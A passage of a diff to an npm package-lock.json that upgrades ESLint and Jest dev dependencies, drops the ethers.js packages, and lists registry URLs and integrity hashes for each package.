- "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.6.3.tgz", + "integrity": "sha512-4B4OijXeVNOPZlYA2oEwWOTkzyltLao+xbotHQeqN++Rv27Y6s818+n2Qkp8q+Fxhn0t/5lA5X1Mxktud8eayQ==", "dev": true }, "@emotion/is-prop-valid": { @@ -19935,16 +17523,57 @@ "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==" }, + "@eslint-community/eslint-utils": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz", + "integrity": "sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==", + "dev": true, + "requires": { + "eslint-visitor-keys": "^3.4.3" + } + }, + "@eslint-community/regexpp": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz", + "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==", + "dev": true + }, + "@eslint/config-array": { + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.0.tgz", + "integrity": "sha512-ENIdc4iLu0d93HeYirvKmrzshzofPw6VkZRKQGe9Nv46ZnWUzcF1xV01dcvEg/1wXUR61OmmlSfyeyO7EvjLxQ==", + "dev": true, + "requires": { + "@eslint/object-schema": "^2.1.6", + "debug": "^4.3.1", + "minimatch": "^3.1.2" + } + }, + "@eslint/config-helpers": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.3.0.tgz", + "integrity": "sha512-ViuymvFmcJi04qdZeDc2whTHryouGcDlaxPqarTD0ZE10ISpxGUVZGZDx4w01upyIynL3iu6IXH2bS1NhclQMw==", + "dev": true + }, + "@eslint/core": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.14.0.tgz", + "integrity": "sha512-qIbV0/JZr7iSDjqAc60IqbLdsj9GDt16xQtWD+B78d/HAlvysGdZZ6rpJHGAc2T0FQx1X6thsSPdnoiGKdNtdg==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.15" + } + }, "@eslint/eslintrc": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.1.tgz", - "integrity": "sha512-OhSY22oQQdw3zgPOOwdoj01l/Dzl1Z+xyUP33tkSN+aqyEhymJCcPHyXt+ylW8FSe0TfRC2VG+ROQOapD0aZSQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz", + "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==", "dev": true, "requires": { "ajv": "^6.12.4", "debug": "^4.3.2", - "espree": "^9.4.0", - "globals": "^13.15.0", + "espree": "^10.0.1", + "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", @@ -19959,13 +17588,10 @@ "dev": true }, "globals": { - "version": "13.17.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz", - "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==", - "dev": true, - "requires": { - "type-fest": "^0.20.2" - } + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true }, "js-yaml": { "version": "4.1.0", @@ -19975,275 +17601,75 @@ "requires": { "argparse": "^2.0.1" } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", - "dev": true } } }, - "@ethereumjs/common": { - "version": "2.6.5", - "resolved": "https://registry.npmjs.org/@ethereumjs/common/-/common-2.6.5.tgz", - "integrity": "sha512-lRyVQOeCDaIVtgfbowla32pzeDv2Obr8oR8Put5RdUBNRGr1VGPGQNGP6elWIpgK3YdpzqTOh4GyUGOureVeeA==", - "requires": { - "crc-32": "^1.2.0", - "ethereumjs-util": "^7.1.5" - } - }, - "@ethereumjs/tx": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/@ethereumjs/tx/-/tx-3.5.2.tgz", - "integrity": "sha512-gQDNJWKrSDGu2w7w0PzVXVBNMzb7wwdDOmOqczmhNjqFxFuIbhVJDwiGEnxFNC2/b8ifcZzY7MLcluizohRzNw==", - "requires": { - "@ethereumjs/common": "^2.6.4", - "ethereumjs-util": "^7.1.5" - } - }, - "@ethersproject/abi": { - "version": "5.6.4", - "resolved": "https://registry.npmjs.org/@ethersproject/abi/-/abi-5.6.4.tgz", - "integrity": "sha512-TTeZUlCeIHG6527/2goZA6gW5F8Emoc7MrZDC7hhP84aRGvW3TEdTnZR08Ls88YXM1m2SuK42Osw/jSi3uO8gg==", - "requires": { - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/hash": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" - } - }, - "@ethersproject/abstract-provider": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/abstract-provider/-/abstract-provider-5.6.1.tgz", - "integrity": "sha512-BxlIgogYJtp1FS8Muvj8YfdClk3unZH0vRMVX791Z9INBNT/kuACZ9GzaY1Y4yFq+YSy6/w4gzj3HCRKrK9hsQ==", - "requires": { - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/networks": "^5.6.3", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/transactions": "^5.6.2", - "@ethersproject/web": "^5.6.1" - } - }, - "@ethersproject/abstract-signer": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/abstract-signer/-/abstract-signer-5.6.2.tgz", - "integrity": "sha512-n1r6lttFBG0t2vNiI3HoWaS/KdOt8xyDjzlP2cuevlWLG6EX0OwcKLyG/Kp/cuwNxdy/ous+R/DEMdTUwWQIjQ==", - "requires": { - "@ethersproject/abstract-provider": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0" - } - }, - "@ethersproject/address": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/address/-/address-5.6.1.tgz", - "integrity": "sha512-uOgF0kS5MJv9ZvCz7x6T2EXJSzotiybApn4XlOgoTX0xdtyVIJ7pF+6cGPxiEq/dpBiTfMiw7Yc81JcwhSYA0Q==", - "requires": { - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/rlp": "^5.6.1" - } - }, - "@ethersproject/base64": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/base64/-/base64-5.6.1.tgz", - "integrity": "sha512-qB76rjop6a0RIYYMiB4Eh/8n+Hxu2NIZm8S/Q7kNo5pmZfXhHGHmS4MinUainiBC54SCyRnwzL+KZjj8zbsSsw==", - "requires": { - "@ethersproject/bytes": "^5.6.1" - } - }, - "@ethersproject/bignumber": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/bignumber/-/bignumber-5.6.2.tgz", - "integrity": "sha512-v7+EEUbhGqT3XJ9LMPsKvXYHFc8eHxTowFCG/HgJErmq4XHJ2WR7aeyICg3uTOAQ7Icn0GFHAohXEhxQHq4Ubw==", - "requires": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "bn.js": "^5.2.1" - } - }, - "@ethersproject/bytes": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.6.1.tgz", - "integrity": "sha512-NwQt7cKn5+ZE4uDn+X5RAXLp46E1chXoaMmrxAyA0rblpxz8t58lVkrHXoRIn0lz1joQElQ8410GqhTqMOwc6g==", - "requires": { - "@ethersproject/logger": "^5.6.0" - } - }, - "@ethersproject/constants": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/constants/-/constants-5.6.1.tgz", - "integrity": "sha512-QSq9WVnZbxXYFftrjSjZDUshp6/eKp6qrtdBtUCm0QxCV5z1fG/w3kdlcsjMCQuQHUnAclKoK7XpXMezhRDOLg==", - "requires": { - "@ethersproject/bignumber": "^5.6.2" - } - }, - "@ethersproject/hash": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/hash/-/hash-5.6.1.tgz", - "integrity": "sha512-L1xAHurbaxG8VVul4ankNX5HgQ8PNCTrnVXEiFnE9xoRnaUcgfD12tZINtDinSllxPLCtGwguQxJ5E6keE84pA==", - "requires": { - "@ethersproject/abstract-signer": "^5.6.2", - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" - } - }, - "@ethersproject/keccak256": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/keccak256/-/keccak256-5.6.1.tgz", - "integrity": "sha512-bB7DQHCTRDooZZdL3lk9wpL0+XuG3XLGHLh3cePnybsO3V0rdCAOQGpn/0R3aODmnTOOkCATJiD2hnL+5bwthA==", - "requires": { - "@ethersproject/bytes": "^5.6.1", - "js-sha3": "0.8.0" - } - }, - "@ethersproject/logger": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.6.0.tgz", - "integrity": "sha512-BiBWllUROH9w+P21RzoxJKzqoqpkyM1pRnEKG69bulE9TSQD8SAIvTQqIMZmmCO8pUNkgLP1wndX1gKghSpBmg==" - }, - "@ethersproject/networks": { - "version": "5.6.4", - "resolved": "https://registry.npmjs.org/@ethersproject/networks/-/networks-5.6.4.tgz", - "integrity": "sha512-KShHeHPahHI2UlWdtDMn2lJETcbtaJge4k7XSjDR9h79QTd6yQJmv6Cp2ZA4JdqWnhszAOLSuJEd9C0PRw7hSQ==", - "requires": { - "@ethersproject/logger": "^5.6.0" - } - }, - "@ethersproject/properties": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/@ethersproject/properties/-/properties-5.6.0.tgz", - "integrity": "sha512-szoOkHskajKePTJSZ46uHUWWkbv7TzP2ypdEK6jGMqJaEt2sb0jCgfBo0gH0m2HBpRixMuJ6TBRaQCF7a9DoCg==", - "requires": { - "@ethersproject/logger": "^5.6.0" - } - }, - "@ethersproject/rlp": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/rlp/-/rlp-5.6.1.tgz", - "integrity": "sha512-uYjmcZx+DKlFUk7a5/W9aQVaoEC7+1MOBgNtvNg13+RnuUwT4F0zTovC0tmay5SmRslb29V1B7Y5KCri46WhuQ==", - "requires": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0" - } - }, - "@ethersproject/signing-key": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/signing-key/-/signing-key-5.6.2.tgz", - "integrity": "sha512-jVbu0RuP7EFpw82vHcL+GP35+KaNruVAZM90GxgQnGqB6crhBqW/ozBfFvdeImtmb4qPko0uxXjn8l9jpn0cwQ==", - "requires": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "bn.js": "^5.2.1", - "elliptic": "6.5.4", - "hash.js": "1.1.7" - } + "@eslint/js": { + "version": "9.30.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.30.1.tgz", + "integrity": "sha512-zXhuECFlyep42KZUhWjfvsmXGX39W8K8LFb8AWXM9gSV9dQB+MrJGLKvW6Zw0Ggnbpw0VHTtrhFXYe3Gym18jg==", + "dev": true }, - "@ethersproject/strings": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/strings/-/strings-5.6.1.tgz", - "integrity": "sha512-2X1Lgk6Jyfg26MUnsHiT456U9ijxKUybz8IM1Vih+NJxYtXhmvKBcHOmvGqpFSVJ0nQ4ZCoIViR8XlRw1v/+Cw==", - "requires": { - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/logger": "^5.6.0" - } + "@eslint/object-schema": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.6.tgz", + "integrity": "sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==", + "dev": true }, - "@ethersproject/transactions": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/@ethersproject/transactions/-/transactions-5.6.2.tgz", - "integrity": "sha512-BuV63IRPHmJvthNkkt9G70Ullx6AcM+SDc+a8Aw/8Yew6YwT51TcBKEp1P4oOQ/bP25I18JJr7rcFRgFtU9B2Q==", + "@eslint/plugin-kit": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.3.1.tgz", + "integrity": "sha512-0J+zgWxHN+xXONWIyPWKFMgVuJoZuGiIFu8yxk7RJjxkzpGmyja5wRFqZIVtjDVOQpV+Rw0iOAjYPE2eQyjr0w==", + "dev": true, "requires": { - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/rlp": "^5.6.1", - "@ethersproject/signing-key": "^5.6.2" + "@eslint/core": "^0.14.0", + "levn": "^0.4.1" } }, - "@ethersproject/web": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/web/-/web-5.6.1.tgz", - "integrity": "sha512-/vSyzaQlNXkO1WV+RneYKqCJwualcUdx/Z3gseVovZP0wIlOFcCE1hkRhKBH8ImKbGQbMl9EAAyJFrJu7V0aqA==", - "requires": { - "@ethersproject/base64": "^5.6.1", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" - } + "@ethereumjs/rlp": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@ethereumjs/rlp/-/rlp-4.0.1.tgz", + "integrity": "sha512-tqsQiBQDQdmPWE1xkkBq4rlSW5QZpLOUJ5RJh2/9fug+q9tnUhuZoVLk7s0scUIKTOzEtR72DFBXI4WiZcMpvw==" }, "@fortawesome/fontawesome-free": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.2.0.tgz", - "integrity": "sha512-CNR7qRIfCwWHNN7FnKUniva94edPdyQzil/zCwk3v6k4R6rR2Fr8i4s3PM7n/lyfPA6Zfko9z5WDzFxG9SW1uQ==" + "version": "6.7.2", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.7.2.tgz", + "integrity": "sha512-JUOtgFW6k9u4Y+xeIaEiLr3+cjoUPiAuLXoyKOJSia6Duzb7pq+A76P9ZdPDoAoxHdHzq6gE9/jKBGXlZT8FbA==" }, - "@gar/promisify": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.2.tgz", - "integrity": "sha512-82cpyJyKRoQoRi+14ibCeGPu0CwypgtBAdBhq1WfvagpCZNKqwXbKwXllYSMG91DhmG4jt9gN8eP6lGOtozuaw==", - "dev": true, - "optional": true, - "peer": true + "@humanfs/core": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true }, - "@humanwhocodes/config-array": { - "version": "0.10.4", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.10.4.tgz", - "integrity": "sha512-mXAIHxZT3Vcpg83opl1wGlVZ9xydbfZO3r5YfRSH6Gpp2J/PfdBP0wbDa2sO6/qRbcalpoevVyW6A/fI6LfeMw==", + "@humanfs/node": { + "version": "0.16.6", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.6.tgz", + "integrity": "sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==", "dev": true, "requires": { - "@humanwhocodes/object-schema": "^1.2.1", - "debug": "^4.1.1", - "minimatch": "^3.0.4" + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.3.0" + }, + "dependencies": { + "@humanwhocodes/retry": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.3.1.tgz", + "integrity": "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==", + "dev": true + } } }, - "@humanwhocodes/gitignore-to-minimatch": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@humanwhocodes/gitignore-to-minimatch/-/gitignore-to-minimatch-1.0.2.tgz", - "integrity": "sha512-rSqmMJDdLFUsyxR6FMtD00nfQKKLFb1kv+qBbOVKqErvloEIJLo5bDTJTQNTYgeyp78JsA7u/NPi5jT1GR/MuA==", - "dev": true - }, "@humanwhocodes/module-importer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", "dev": true }, - "@humanwhocodes/object-schema": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", - "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "@humanwhocodes/retry": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.2.tgz", + "integrity": "sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==", "dev": true }, "@istanbuljs/load-nyc-config": { @@ -20259,49 +17685,6 @@ "resolve-from": "^5.0.0" }, "dependencies": { - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, "resolve-from": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", @@ -20310,233 +17693,317 @@ } } }, - "@istanbuljs/schema": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", - "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", - "dev": true + "@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true + }, + "@jest/console": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", + "integrity": "sha512-5Ni4CU7XHQi32IJ398EEP4RrB8eV09sXP2ROqD4bksHrnTree52PsxvX8tpL8LvTZ3pFzXyPbNQReSN41CAhOg==", + "dev": true, + "requires": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "slash": "^3.0.0" + } + }, + "@jest/core": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", + "integrity": "sha512-n7aeXWKMnGtDA48y8TLWJPJmLmmZ642Ceo78cYWEpiD7FzDgmNDV/GCVRorPABdXLJZ/9wzzgZAlHjXjxDHGsg==", + "dev": true, + "requires": { + "@jest/console": "^29.7.0", + "@jest/reporters": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^29.7.0", + "jest-config": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-resolve-dependencies": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "jest-watcher": "^29.7.0", + "micromatch": "^4.0.4", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + } + }, + "@jest/environment": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", + "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==", + "dev": true, + "requires": { + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-mock": "^29.7.0" + } }, - "@jest/console": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.0.1.tgz", - "integrity": "sha512-SxLvSKf9gk4Rvt3p2KRQWVQ3sVj7S37rjlCHwp2+xNcRO/X+Uw0idbkfOtciUpjghHIxyggqcrrKhThQ+vClLQ==", + "@jest/environment-jsdom-abstract": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment-jsdom-abstract/-/environment-jsdom-abstract-30.0.5.tgz", + "integrity": "sha512-gpWwiVxZunkoglP8DCnT3As9x5O8H6gveAOpvaJd2ATAoSh7ZSSCWbr9LQtUMvr8WD3VjG9YnDhsmkCK5WN1rQ==", "dev": true, "requires": { - "@jest/types": "^29.0.1", + "@jest/environment": "30.0.5", + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/jsdom": "^21.1.7", "@types/node": "*", - "chalk": "^4.0.0", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", - "slash": "^3.0.0" + "jest-mock": "30.0.5", + "jest-util": "30.0.5" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "@jest/environment": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.5.tgz", + "integrity": "sha512-aRX7WoaWx1oaOkDQvCWImVQ8XNtdv5sEWgk4gxR6NXb7WBUnL5sRak4WRzIQRZ1VTWPvV4VI4mgGjNL9TeKMYA==", "dev": true, "requires": { - "color-convert": "^2.0.1" + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-mock": "30.0.5" } }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "@jest/fake-timers": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.5.tgz", + "integrity": "sha512-ZO5DHfNV+kgEAeP3gK3XlpJLL4U3Sz6ebl/n68Uwt64qFFs5bv4bfEEjyRGK5uM0C90ewooNgFuKMdkbEoMEXw==", "dev": true, "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/types": "30.0.5", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.5", + "jest-mock": "30.0.5", + "jest-util": "30.0.5" } }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", "dev": true, "requires": { - "color-name": "~1.1.4" + "@sinclair/typebox": "^0.34.0" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "@jest/types": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.5.tgz", + "integrity": 